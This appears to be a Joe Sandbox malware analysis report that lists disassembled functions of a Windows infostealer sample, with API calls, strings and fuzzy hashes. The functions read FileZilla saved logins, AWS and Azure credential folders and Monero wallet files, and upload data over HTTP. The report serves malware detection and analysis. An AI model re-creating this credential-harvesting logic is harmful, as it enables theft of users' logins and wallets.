Part of subcall function 00928E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00928E52

GetProcessHeap.KERNEL32(00000000,000F423F,00930DBA,00930DB7,00930DB6,00930DB3), ref: 00920362
RtlAllocateHeap.NTDLL(00000000), ref: 00920369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00920385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 00920393
StrStrA.SHLWAPI(00000000,<Port>), ref: 009203CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 009203DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00920419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 00920427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00920463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 00920475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 00920502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 0092051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 00920532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 0092054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00920562
lstrcat.KERNEL32(?,profile: null), ref: 00920571
lstrcat.KERNEL32(?,url: ), ref: 00920580
lstrcat.KERNEL32(?,00000000), ref: 00920593
lstrcat.KERNEL32(?,00931678), ref: 009205A2
lstrcat.KERNEL32(?,00000000), ref: 009205B5
lstrcat.KERNEL32(?,0093167C), ref: 009205C4
lstrcat.KERNEL32(?,login: ), ref: 009205D3
lstrcat.KERNEL32(?,00000000), ref: 009205E6
lstrcat.KERNEL32(?,00931688), ref: 009205F5
lstrcat.KERNEL32(?,password: ), ref: 00920604
lstrcat.KERNEL32(?,00000000), ref: 00920617
lstrcat.KERNEL32(?,00931698), ref: 00920626
lstrcat.KERNEL32(?,0093169C), ref: 00920635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00930DB2), ref: 0092068E

Strings

login: , xrefs: 009205CA
<Port>, xrefs: 009203C6
browser: FileZilla, xrefs: 00920559
<User>, xrefs: 00920410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 009202A4
url: , xrefs: 00920577
profile: null, xrefs: 00920568
<Host>, xrefs: 0092037C
<Pass encoding="base64">, xrefs: 0092045A
password: , xrefs: 009205FB

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a9c613b3efecb34bdc0cd114016ac1569d4aa1121a3499a79ae87a393c0b0ccb
Instruction ID: 0c0944822851f74238c755931ec97b72f81bed4bc1211dc882d5c337644aed79
Opcode Fuzzy Hash: a9c613b3efecb34bdc0cd114016ac1569d4aa1121a3499a79ae87a393c0b0ccb
Instruction Fuzzy Hash: DDD11072900218ABCB04FBE4ED96FEE7778AF98305F404558F102B7099DF74AA09CB65

Function 00915960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00914839
Part of subcall function 009147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00914849

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009159F8
StrCmpCA.SHLWAPI(?,01050A00), ref: 00915A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00915B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01050B40,00000000,?,0104B370,00000000,?,00931A1C), ref: 00915E71
lstrlen.KERNEL32(00000000), ref: 00915E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00915E93
RtlAllocateHeap.NTDLL(00000000), ref: 00915E9A
lstrlen.KERNEL32(00000000), ref: 00915EAF
lstrlen.KERNEL32(00000000), ref: 00915ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00915EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00915F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00915F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00915F4C
InternetCloseHandle.WININET(00000000), ref: 00915FB0
InternetCloseHandle.WININET(00000000), ref: 00915FBD
HttpOpenRequestA.WININET(00000000,010509A0,?,010500C8,00000000,00000000,00400100,00000000), ref: 00915BF8

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

InternetCloseHandle.WININET(00000000), ref: 00915FC7

Strings

", xrefs: 00915E16
", xrefs: 00915CD5
------, xrefs: 00915D4C
------, xrefs: 00915A96
------, xrefs: 00915C0B

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: df72a0d672ec4fb11c24d4aa2f2ab45ad9b8f4debb5efd89f929463c97b0e4b8
Instruction ID: 7c103a9de59f5dffe6200b358e309cd08e46704c9557666e29118cd6521a392d
Opcode Fuzzy Hash: df72a0d672ec4fb11c24d4aa2f2ab45ad9b8f4debb5efd89f929463c97b0e4b8
Instruction Fuzzy Hash: FE12EF72921128ABDB15EBA0EC96FEEB378BF94700F504199F10673095EF702A49CF65

Function 0091CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 00928B60: GetSystemTime.KERNEL32(00930E1A,0104B3D0,009305AE,?,?,009113F9,?,0000001A,00930E1A,00000000,?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 00928B86

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0091CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0091D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0091D0CE
lstrcat.KERNEL32(?,00000000), ref: 0091D208
lstrcat.KERNEL32(?,00931478), ref: 0091D217
lstrcat.KERNEL32(?,00000000), ref: 0091D22A
lstrcat.KERNEL32(?,0093147C), ref: 0091D239
lstrcat.KERNEL32(?,00000000), ref: 0091D24C
lstrcat.KERNEL32(?,00931480), ref: 0091D25B
lstrcat.KERNEL32(?,00000000), ref: 0091D26E
lstrcat.KERNEL32(?,00931484), ref: 0091D27D
lstrcat.KERNEL32(?,00000000), ref: 0091D290
lstrcat.KERNEL32(?,00931488), ref: 0091D29F
lstrcat.KERNEL32(?,00000000), ref: 0091D2B2
lstrcat.KERNEL32(?,0093148C), ref: 0091D2C1
lstrcat.KERNEL32(?,00000000), ref: 0091D2D4
lstrcat.KERNEL32(?,00931490), ref: 0091D2E3

Part of subcall function 0092A820: lstrlen.KERNEL32(00914F05,?,?,00914F05,00930DDE), ref: 0092A82B
Part of subcall function 0092A820: lstrcpy.KERNEL32(00930DDE,00000000), ref: 0092A885

lstrlen.KERNEL32(?), ref: 0091D32A
lstrlen.KERNEL32(?), ref: 0091D339

Part of subcall function 0092AA70: StrCmpCA.SHLWAPI(01049ED8,0091A7A7,?,0091A7A7,01049ED8), ref: 0092AA8F

DeleteFileA.KERNEL32(00000000), ref: 0091D3B4

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 345c2ac3fe5a87165e11055102dfd11daa4cc0448efd7ade0fa6db1a1f6372d7
Instruction ID: e625975592d2bb82614feec4c59a5a0d99e1038bb435898609380b20066e7982
Opcode Fuzzy Hash: 345c2ac3fe5a87165e11055102dfd11daa4cc0448efd7ade0fa6db1a1f6372d7
Instruction Fuzzy Hash: B2E1FD72910218ABCB04FBA0ED96FEE7379BF94301F104158F106B70A5DE35AE49CB66

Function 0091C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0104F3D0,00000000,?,0093144C,00000000,?,?), ref: 0091CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0091CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0091CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0091CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0091CAD9
StrStrA.SHLWAPI(?,0104F550,00930B52), ref: 0091CAF7
StrStrA.SHLWAPI(00000000,0104F4F0), ref: 0091CB1E
StrStrA.SHLWAPI(?,0104F6C0,00000000,?,00931458,00000000,?,00000000,00000000,?,01049FA8,00000000,?,00931454,00000000,?), ref: 0091CCA2
StrStrA.SHLWAPI(00000000,0104F6E0), ref: 0091CCB9

Part of subcall function 0091C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0091C871
Part of subcall function 0091C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0091C87C

StrStrA.SHLWAPI(?,0104F6E0,00000000,?,0093145C,00000000,?,00000000,01049FC8), ref: 0091CD5A
StrStrA.SHLWAPI(00000000,01049DA8), ref: 0091CD71

Part of subcall function 0091C820: lstrcat.KERNEL32(?,00930B46), ref: 0091C943
Part of subcall function 0091C820: lstrcat.KERNEL32(?,00930B47), ref: 0091C957
Part of subcall function 0091C820: lstrcat.KERNEL32(?,00930B4E), ref: 0091C978

lstrlen.KERNEL32(00000000), ref: 0091CE44
CloseHandle.KERNEL32(00000000), ref: 0091CE9C

Strings

, xrefs: 0091C9C6

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 5e63aafec3fe86ed573c21468683122e30289788821b2c8c776773caed9aa319
Instruction ID: e71bac032e6be8df0cd34362cd23ec7c5af53517edf72c21e8db31480f484583
Opcode Fuzzy Hash: 5e63aafec3fe86ed573c21468683122e30289788821b2c8c776773caed9aa319
Instruction Fuzzy Hash: D4E1F072D10118ABDB14EBA4EC96FEEB778AF98300F404159F10677196EF306A4ACF65

Function 00928320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

RegOpenKeyExA.ADVAPI32(00000000,0104C288,00000000,00020019,00000000,009305B6), ref: 009283A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00928426
wsprintfA.USER32 ref: 00928459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0092847B
RegCloseKey.ADVAPI32(00000000), ref: 0092848C
RegCloseKey.ADVAPI32(00000000), ref: 00928499

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Strings

%s\%s, xrefs: 0092844D
- , xrefs: 009285A3
?, xrefs: 0092837A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 0b27d8ea26ce3a47819f88b8f0e2ccb541338862c1ec9d0ac29611fe53709176
Instruction ID: a8df89ca92a4e5d2c8b96ac70b5115b0c6ed458a73fdc51eb5f1e5ba233a293c
Opcode Fuzzy Hash: 0b27d8ea26ce3a47819f88b8f0e2ccb541338862c1ec9d0ac29611fe53709176
Instruction Fuzzy Hash: F6812B72911228ABDB24DB50DC91FEAB7B8BF48700F0086D8E109A7184DF756F85CFA5

Function 00924D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00928DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00928E0B

lstrcat.KERNEL32(?,00000000), ref: 00924DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00924DCD

Part of subcall function 00924910: wsprintfA.USER32 ref: 0092492C
Part of subcall function 00924910: FindFirstFileA.KERNEL32(?,?), ref: 00924943

lstrcat.KERNEL32(?,00000000), ref: 00924E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00924E59

Part of subcall function 00924910: StrCmpCA.SHLWAPI(?,00930FDC), ref: 00924971
Part of subcall function 00924910: StrCmpCA.SHLWAPI(?,00930FE0), ref: 00924987
Part of subcall function 00924910: FindNextFileA.KERNEL32(000000FF,?), ref: 00924B7D
Part of subcall function 00924910: FindClose.KERNEL32(000000FF), ref: 00924B92

lstrcat.KERNEL32(?,00000000), ref: 00924EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00924EE5

Part of subcall function 00924910: wsprintfA.USER32 ref: 009249B0
Part of subcall function 00924910: StrCmpCA.SHLWAPI(?,009308D2), ref: 009249C5
Part of subcall function 00924910: wsprintfA.USER32 ref: 009249E2
Part of subcall function 00924910: PathMatchSpecA.SHLWAPI(?,?), ref: 00924A1E
Part of subcall function 00924910: lstrcat.KERNEL32(?,01050A30), ref: 00924A4A
Part of subcall function 00924910: lstrcat.KERNEL32(?,00930FF8), ref: 00924A5C
Part of subcall function 00924910: lstrcat.KERNEL32(?,?), ref: 00924A70
Part of subcall function 00924910: lstrcat.KERNEL32(?,00930FFC), ref: 00924A82
Part of subcall function 00924910: lstrcat.KERNEL32(?,?), ref: 00924A96
Part of subcall function 00924910: CopyFileA.KERNEL32(?,?,00000001), ref: 00924AAC
Part of subcall function 00924910: DeleteFileA.KERNEL32(?), ref: 00924B31

Strings

\.IdentityService\, xrefs: 00924ED9
Azure\.IdentityService, xrefs: 00924EEB
msal.cache, xrefs: 00924EF0
\.aws\, xrefs: 00924E4D
\.azure\, xrefs: 00924DC1
Azure\.aws, xrefs: 00924E5F
*.*, xrefs: 00924DD8
Azure\.azure, xrefs: 00924DD3
*.*, xrefs: 00924E64

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 90c13f1b4fe9b57622eea7ada647627ab38918e58069b35029d72c5c5a7abbd2
Instruction ID: 8223a6847fe7036e0d7c15e19fb0e197dc1391e7711566178379c69a1a582e6a
Opcode Fuzzy Hash: 90c13f1b4fe9b57622eea7ada647627ab38918e58069b35029d72c5c5a7abbd2
Instruction Fuzzy Hash: C541947AA4021867D714F760EC47FED3338ABA4704F404594B649660C5EEF56BC98F92

Function 00929010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0092906C

Strings

image/jpeg, xrefs: 00929136

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 999a6f1953ba03a95ec1f8cde153d5258f31fb10fa443db2c15b5e377a77356d
Instruction ID: 7c36494abd805e67270bb53652853983376242324ad5822cb9e3a4ea1db48ec4
Opcode Fuzzy Hash: 999a6f1953ba03a95ec1f8cde153d5258f31fb10fa443db2c15b5e377a77356d
Instruction Fuzzy Hash: 2B71FC71A10208ABDB04DFE4DC89FEEB7B9BF88701F108648F615A7294DF74A945CB61

Function 00922E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

ShellExecuteEx.SHELL32(0000003C), ref: 009231C5
